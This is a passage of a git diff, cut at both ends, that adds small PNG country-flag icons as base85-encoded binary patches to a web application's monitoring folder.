z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}19N~+i0l9V|Cb+;KEc4iz*rLG7tG-B>_!>` o0|Sqzi(^Q|t>lCS`V0&V1q_VA-!m^UFfcH9y85}Sb4q9e0DUGh_5c6? literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/a2.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/a2.png new file mode 100644 index 0000000000000000000000000000000000000000..30dd64aee9a8cd49480cb6a006717c6d742dc2b2 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzrLXYlesMe0|RG)M`SSr1K(i~W;~w1B87p0fhFD1*O7r?V?XzwL{<g{hL8ZC5ZC|z z|EJA7!(eR8V4TK~Hq$tbfx&pDu`xqhTADG4Vqh>n!;toWW}2~a+W(m|(~M^_7^fMZ z`EQ&ylfiiAnKLtu&zv!4NIPSkHZyJJ%$dd@ddJ)gml+rs7)yfuf*Bm1-AH3#U`X|J zaSW-r)q3tEUxNY<OTYqyu8_j`|NrgRJ}NRS%v(QsS?DY6?z^AF&-}D9z3%Y+u*F$M zyP1~TV%Z($tA=k}BQ5Z7LF%(fDjqzHAMWkAqIFZrXkWp%MJEEv;?0DVzW-V18umAh ZeX}{U%Lz4uUIqpR22WQ%mvv4FO#mB>gMR=3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ac.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ac.png new file mode 100644 index 0000000000000000000000000000000000000000..4f154f8a531aea25abf4507b3a5ab7737b602c63 GIT binary patch literal 389 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Twp6cAKm{cnBn z83O|YXMsm#F#`j)5C}6~x?A^$fq{V~-O<;Pfnj4m_n$;o1_p*j0X`wF3=Ay{4AmS0 zUIH9J5}FJQ4B3htmYPmc0usg7vRgDIS_}>6+_UuJ;Aja7TDmo;TG24sGJA@I)6(qZ zweO3ov!j;&cXEn~TKm4b#YwTHr`U37k3@Eq*V^Ja@7M1AKV`~)L&N`j_nzxnS{*fK zO0nUwr5xEoUjG>w&M`;`2o#?y?)g7w&VNnK|1B-gd*&>S>Iu@Ue&5nlUA;Hku=@R! zrIwa+N(*`4FfcHrdAc};RNP87FfkQ<Y<exJfr;5!*)Ul+Pa@pgDcU{UU;bDqJ2NjE zo13pdc$i<DW1#2EMn~6B-V>r?f}+CHC!{1ym^6*C$a3e7%8H*qBqdl_S|uhhNL#ZT mO`q8+I`j02BMy=b4Eq<bS5NGHy@r8-fx*+&&t;ucLK6U>)`gJ( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ad.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ad.png new file mode 100644 index 0000000000000000000000000000000000000000..f676f64466ca55cd5baf9e964dddcb8f86658ed7 GIT binary patch literal 255 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+AhJDY3EEfB&%j3uF1m#PaqH%k!r! z_ph*gN@Kabk7dsuo==4=zb&N_7#J8VJY5_^DsJ_jv*u$^;9v<1`1$hh``2b_0W%El zzHa0A=uoWqDnKRptV!YLjZXb8pD)<6imv*yUQYkADHH$Id2JyK3=9mOu6{1-oD!M< Dr^8gB literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ae.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ae.png new file mode 100644 index 0000000000000000000000000000000000000000..c6952aa16f94976a39be5f6cbc96c15dc602112a GIT binary patch literal 224 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8Y^EbL4yQ6WM94(<8(?~hXvi{H8+ zrl~v~0r!_NFfgckx;TbZ+)7SJNJvO+XJ(tUGpB&zk<sP@j3;B%SQrW=1shcK7+kkA W#oTPZ6wkoGz~JfX=d#Wzp$Pz|X+Y!v literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aero.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aero.png new file mode 100644 index 0000000000000000000000000000000000000000..0d37472082b301b52da1434942020f8bd4833a10 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzd6sZ!pEfy3=EtF9+AZi419+{nDKc2iWCM029|V3Uq=Rpjs4tz5?L7-7(xPkLR|m< z|DQJV41=*TgK-)|+Dzj#1_tAq#>Nb3X=%nFih;rS3`5%gnQ6wxY5!-=Of#OzV4P-r z=D%^;Oa|kbXU@ztK6A#HA?=KD+RU_>GiMru=pAz}TxMWkU@Qsp3ubV5b|Z~}fg#n? z#WAGfR_nQwd<_abECCA)x<U%$|NpmN`>4pUFmL_jWudRMyYGGyKl9Vd^t!|M!xm>5 z?PgkTi)DA1uNuB_jkLhS1*y*_sd(@(ez>>eiq=gfqkRS67M%zvi#HQe`u=C3YuMj3 a_RZ$ZE+^CsdKnlP7(8A5T-G@yGywomSA~xN literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/af.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/af.png new file mode 100644 index 0000000000000000000000000000000000000000..582fc0610ea476a0a576e7997d2475b923164e2f GIT binary patch literal 240 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LW{Ob#89%oE(vP^Hl!+y^(n?dggr{ z)^)6N6E2D|Fff>Ux;TbZ+)7SxXXH6j5P5S!Oqf6dv$8@$f+ORS!h;Q+oijNPC9yE7 nv8iz|I~`)Q5?><I$S^;K>E*KCRi79b7#KWV{an^LB{Ts5Z=gjm literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ag.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ag.png new file mode 100644 index 0000000000000000000000000000000000000000..fbf917c32cd624627a2cd381156146fff74485eb GIT binary patch literal 255 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZCX#+@B^-dGT`Q$E-x<m_ANU_Gz>D zW0_fm)XUNt7#LhUT^vIyZiV(ZavgBsIP&PquK)iFLpQA1$)l+BzUlJgi^U7nmXxh{ z<FzOGX%E+X4!Z-N*7AJy{I+`Pp}B8^q76T9F7dPfyMS@^<`>>;7#J8BJYD@<);T3K F0RVYTScCuo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ai.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ai.png new file mode 100644 index 0000000000000000000000000000000000000000..badcd96c9309280fc9dfc2f7559e26b0d3aab99f GIT binary patch literal 271 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5LagAdKc}cCnwHLo49Xv@uURT3G;jl z-n+V|rEa|1G2wD%-aaOlGrco6F)%QAc)B=-RNPwH<0#Z%z;Q&3Ys%68|HF^UtqLzb zouZbY#N_0tY^pTppG40Z&s&$0H(tH8E{oZ-|Abv3-;Dd|@2g(6z4G4A@vnf1aUJ8b USnd763=9kmp00i_>zopr04$AMegFUf literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/al.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/al.png new file mode 100644 index 0000000000000000000000000000000000000000..2ff77805e146fbf477dea09ed270bfca5db2fe04 GIT binary patch literal 247 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8y&vVU0ERxz=hW?~6tVi9CwDP>~m zWMXMA*mr_~fx*Vp#WAGfR&Spp7lQ%^OX=3H|LxD|r3GBL)0P-0_;${+qLpq9VWuz6 ut&mdgjGg`|^78F#ci1n!V~UTT>oaQ(W74-sUKa)i1_n=8KbLh*2~7Y%v`cXS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/am.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/am.png new file mode 100644 index 0000000000000000000000000000000000000000..c8e056b171a55b41cb90597473bbf20ce23f7caa GIT binary patch literal 219 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2L1q_5Z8Z9EX$;P#N76XdF@#z=8|iFrGSBf zLDSR4F{I*Fa>4?J4GS39)KU(dIncw>5F_HL#-=twL)e3D%?v@-fJYh(QDqEguQqN7 RU|?Wi@O1TaS?83{1OUCWJjMV3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/an.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/an.png new file mode 100644 index 0000000000000000000000000000000000000000..6b0f0857ea5a71a8b0e5f7c875777b510b91d0e7 GIT binary patch literal 241 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8bI{@lvT*}%lVY}u1Ow-#pRHA+fb ztgQBYueJ(iU|=xwba4!+xRsp1!04u?=ElaNFzqxCla7y%P68XVw#0^wju{-&WqTgP oSTq#eym3=;)y3XL2SORv)iJJAnqN`Jz`(%Z>FVdQ&MBb@0Dk01f&c&j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ao.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ao.png new file mode 100644 index 0000000000000000000000000000000000000000..127796d0400df7894ca3b6ee3c3313193e14b7a0 GIT binary patch literal 251 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LXd)PH#!UFms-oWVUnDITC%i?&gU+ zbCrK#t#F!wfx*Gk#WAGfR_;kgz5@yz&KJeBcK`1cH7<Qsr|^)~Ci+Ke#{YfC4jk<8 zOS@+F$-$q6J58kK;_Vw%yPiCKe1=arT(tcYQ`@vFkJ1?!7#KWV{an^LB{Ts5`&3WF literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aq.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aq.png new file mode 100644 index 0000000000000000000000000000000000000000..dc6b1ab3266992c30cf87ca779bd3dda9c3e8d30 GIT binary patch literal 255 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Le?_e~NehiCpvN&)+{Qul~9E>d(1n zf2N)K<GJl>CIbV5i>HfYNX4z(zCb<(1r8_W74PaFUz&OK+Hax2EmP#T+I21Qb2mv* zee!J4&Z|35y3Tt!antVGa*{i_k3>4moKyKd{lN3@oTWXCGO9c=B@7G<44$rjF6*2U FngGmpULgPg literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ar.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ar.png new file mode 100644 index 0000000000000000000000000000000000000000..755b40e20fc25cf1be54b1f45baac5db9f21e745 GIT binary patch literal 231 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2B83-5Lbr1e;D@tW!U>S@Y3IZ|Ni~||DPd% z>k|V5gOR6;V@SoV<OCN+9v&YD4kv*Iy>6}<feg&tTnPz@tdrKPG0@ZIatQB96JZf} d$rHlBu+WvUB5NXx9|HpegQu&X%Q~loCIAlcLQntz literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/arpa.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/arpa.png new file mode 100644 index 0000000000000000000000000000000000000000..4502b8d4e90fdca26f5adc97855fb8e289d84854 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufd~jRI`wQfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}16zPki0l9V{}~t<LJwW8V_;xlED7=pW^j0R zBaMN9LC4d@F{I*FazX=>n}H^STLPbQ3%8QQLM;{rFILHbj2RXovOe-xWOnQnU|`VM X#&9;QE_)IK0|SGntDnm{r-UW|34uIb literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/as.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/as.png new file mode 100644 index 0000000000000000000000000000000000000000..614d01d22f29a4eea9b12034728c492669c84c76 GIT binary patch literal 248 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Ty3;^Wug(Kf1C z$iTqBS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9iz$e62h=++ovs%Eg z<v#<%|NsC0pFjWd2GboLsbj|uohlcYp1_gl#E>Gba&Je{6$S=|5KkA!kcwNOecoaX z1{}=69`;f1>*E-;udR`gs95kOaE+5oi0296*&6*WYnLpZJw4M;LSv)w%*h@K{?pC- x?rw4K4p#bWx?!HiwT!pUzZVy|+jrIHz5mXnZL9EGmVtqR!PC{xWt~$(69A_jQYQca literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/at.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/at.png new file mode 100644 index 0000000000000000000000000000000000000000..798280879a524f986604532ea8d978100760bac4 GIT binary patch literal 225 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2GIbY5Z7-^EdQ8Tz6FK+3k&)7?aRM^f4;f7 zlwM0TVqjp<^mK6yskoJ#kl@0^!=qAoGk}4aTiYnX;o-≀-Y0&X~v`oO#aSDHFpb X2FCYU;*C)Z3=9mOu6{1-oD!M<wQ58O literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/au.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/au.png new file mode 100644 index 0000000000000000000000000000000000000000..595bff6735d6d3370750fb5dcc2b4dd49a60adb3 GIT binary patch literal 260 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LY&~*}fWmch(<Di{J6>!IO(Ui>}6` z-{a)Y2)*0Hz`)??>EaktajVsjk?Vj1$E8{K{@3r>c9)gCS(wRp@`4t}#3rxnIy1Sn z<-W)E@}DlvXt}f9aXE+B+6qJCR=sS2`U`sNZACvXOuo$9V!&`e?9jAN3?Nfo{an^L HB{Ts5{!CU9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aw.png new file mode 100644 index 0000000000000000000000000000000000000000..4aa502c220ecc55ec17c8710d57ab5391978dd5b GIT binary patch literal 222 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYIqKmUHoSXmuW<9m`Ow#H8A$|XLV zAfY|N>pbT&Ffb^4x;TbZ+)7SxU_YaC!Y0hjtn5yV$x#soH<1GeT9_`Req>@WHDxH* U>gtkYU|?YIboFyt=akR{0PF8Q`2YX_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ax.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ax.png new file mode 100644 index 0000000000000000000000000000000000000000..e43bf0a83b79d88de44e85bda83d0bd93b3d7d84 GIT binary patch literal 484 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8Fct^7J29*~C-ahlf#E=a zPlzjn*&+s&=?uKx=X)7$F)&=qWnf^)VPNp9S$wHv&Y8CtE5BsKe?FEP+jS_c^=M%8 zKJU7Ht`$3Ninf~PZe#XZ)wb$J=A?^py{BHEPWuw%`C*@*dd5zTq;+!9YbS2H@!?YT zx9HGMha-M&5dL#}>hDX{KhKx`IGgirSHhd!p09T}yxeGVI+Ee91kc|o{eP-UewXI| zN>Bal>HN{z=ADVoTQ8?C`!xPMocrTe+s`BUZx2Sz+w&-W%BiIOqw-06{TmN|f3)bQ z$IPQ3k0p7#yD)UH%6c#`FmM)lL>4nJa0`Jj<E6WGe;61T*h@TpUD@w&33BKv$Yqrp zFfcI8^>lFz;kcf9?j&E6fdtEgc&4SjIjmfX6Ga$VQ-ec9-u&J_t>Ea++L@L-E>0c4 zUhHD9_MD_JYuU<^LdOi|rEgg}Ln6EQ(b;{8KeJCqgirXndUlBWhnn8x|8|*~QepC} zua>>7I@f%=RzmL6wBtJZKPqQVySj8w(`<o5!QDZ}J6Ce)eg2~mBXE>Gn)SepH>P(D nbhE7g$ILs;<>V3jnfX(q$b;2KzgIFaFfe$!`njxgN@xNAJRsJm literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/az.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/az.png new file mode 100644 index 0000000000000000000000000000000000000000..d07d9b45765d9527a2528e0082784596068663af GIT binary patch literal 260 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h%0j;OL35FQH#SrP4<7YyZ&9f@Gmpq zU$Di$FQ5MP)s*S=Fd6>Rs$Bhnfq}u+)5S5Q;?~krj(iM?9L^V$WF7YYuXX3)j+MH< z%3kvrWBASHFD#S3249j;sy+8g_j1hlp3Q;RrH!U4aq`zCvN6B$-OTxxfq{X+)78&q Iol`;+00hQX761SM literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ba.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ba.png new file mode 100644 index 0000000000000000000000000000000000000000..42c31e9464f5e66a7c660a6308468cedbf65b818 GIT binary patch literal 234 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcsCm?0?dp z#lXP8S>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e6&LGwL><#$D| z?^}=k|9_9+|2>ZX&l|MDKTQe{)*m}A+hE&{27BJyqWpZS5JQ~8GtH-sl^@zfj z1jZ?0C9M|}SQVl?Se&@UoHAWCctaSLwJtCTU~CcN6J=rGJ1?+sV&nly1_lNOPgg&e IbxsLQ0R7EX9RL6T literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bb.png new file mode 100644 index 0000000000000000000000000000000000000000..88e4e67f8151ffde619b2b544b9d2c2232c15a30 GIT binary patch literal 252 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h-<ccwU0`FS4#Z1>zw!Y${bs&yQ$B1 zT1i;RIfc6n3=EE*E{-7;w_48`iZM8{Fb6ar`J2Dznn_^qq0dVX_)T}6e*TO3{W)8v zT$rMv#jJX!WtpSX%WX4a%7y#a>#a4P`|N_<^eV>8bxpIbGB7YOc)I$ztaD0e0su&< BRVDxc literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bd.png new file mode 100644 index 0000000000000000000000000000000000000000..b49714ac8262e13b44ed8c8e8addaf3a2b0a7d8a GIT binary patch literal 248 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h$~YSi*!DVZv;!aKg&NJmS<utMky?F z%vdhgXMhZ{^>lFzskoJU?lu>L0ta(|{^fuF`-OFk3iH|9donmyi)b=@Ud16FRkYNG s_4lsrcW<0}E9xm%IZse|X<yCFUOmPzU-`r83=9kmp00i_>zopr0JPjkrvLx| literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/be.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/be.png new file mode 100644 index 0000000000000000000000000000000000000000..872f562f1fc754a1e82c25cb87d5129c8ec19fe6 GIT binary patch literal 246 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h$|BlOP~|W*9$CP-B~^|vHZHo@`H)x zmj??6SI7Yd1_o<S7srr_TgeFwOm1ol32BT>Y%J4zdwI{Lrn)}cWMsHexj1s7D6{HC tk<E)vEYeiFn4%K7KxLKk!Z-$oD{Gl#&ZLE%U|?Wi@O1TaS?83{1OPrsMfv~$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bf.png new file mode 100644 index 0000000000000000000000000000000000000000..91513666c267bd3a303a777879f440b0fde273d9 GIT binary patch literal 258 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h%0jei&_&)*aDV$$5_66WBK-oWt}q1 zmN_innOMGsv;68~`L=>3vQcvz0|SG#r;B4q#jWHA4vai5g_eOk*LcME>E(&#=}ll_ zGZRQiPfSc?H<UQgFtN3DDkI~J8Im(+3dFc+EaPBccv#3RbjZ_hJp%&+gQu&X%Q~lo FCIF#7O8)== literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bg.png new file mode 100644 index 0000000000000000000000000000000000000000..2c1f46bfa8635dcbaf912b78f3eafa8b3f21fca7 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gHV7^i0eN-mVaC<$DCxsR)y@lx98u#KXW@L z|72ib(Dih245_%4oZ!mHqf!_dz`$(GrO<o2g-JqUA|o@`bViOwCmsVn<`!NtmWd2z YN15ywe2ZGez`(%Z>FVdQ&MBb@0LzU&dH?_b literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bh.png new file mode 100644 index 0000000000000000000000000000000000000000..1b0d04da554b6b89d89647f875c013e6c08673cf GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0hB<-@jhC@U^S!yS3GKCYB#tw)_YU z`ynZnFuhryfq_BG)5S5Q;#P7(LPA1HQd%RELVx4bUfG$a4|Hjr?g<wQ)t_}zCF+RN cG*^Z%FPUPBqn>IpFfcH9y85}Sb4q9e0HUu+g8%>k literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bi.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bi.png new file mode 100644 index 0000000000000000000000000000000000000000..518e030195141effe3c601582c84c900547ec807 GIT binary patch literal 244 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qZ$#+dq; zGcYi47I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|>)Q@Ck8EPEP*+|Nl8d zhX4Q1{hu?(a1O&cL&G`e=DdIZ{@l4a=gyrwH)jspwZNYY3=F}ZE{-7;w~`Y?f|!^b z+4uw%mMR@QaO=gAB~NagIv}N|sH-S<>VQ;~hDrq2BIczm&Ih+BObH8Nx!fwO-t^?K vD$BuFymPNik@1zBaqt<Z@qsh#OblNw1>Te|Th+(Fz`)??>gTe~DWM4fadB1| literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/biz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/biz.png new file mode 100644 index 0000000000000000000000000000000000000000..7bd40c2207e109193ca6308706e537d519703d78 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ 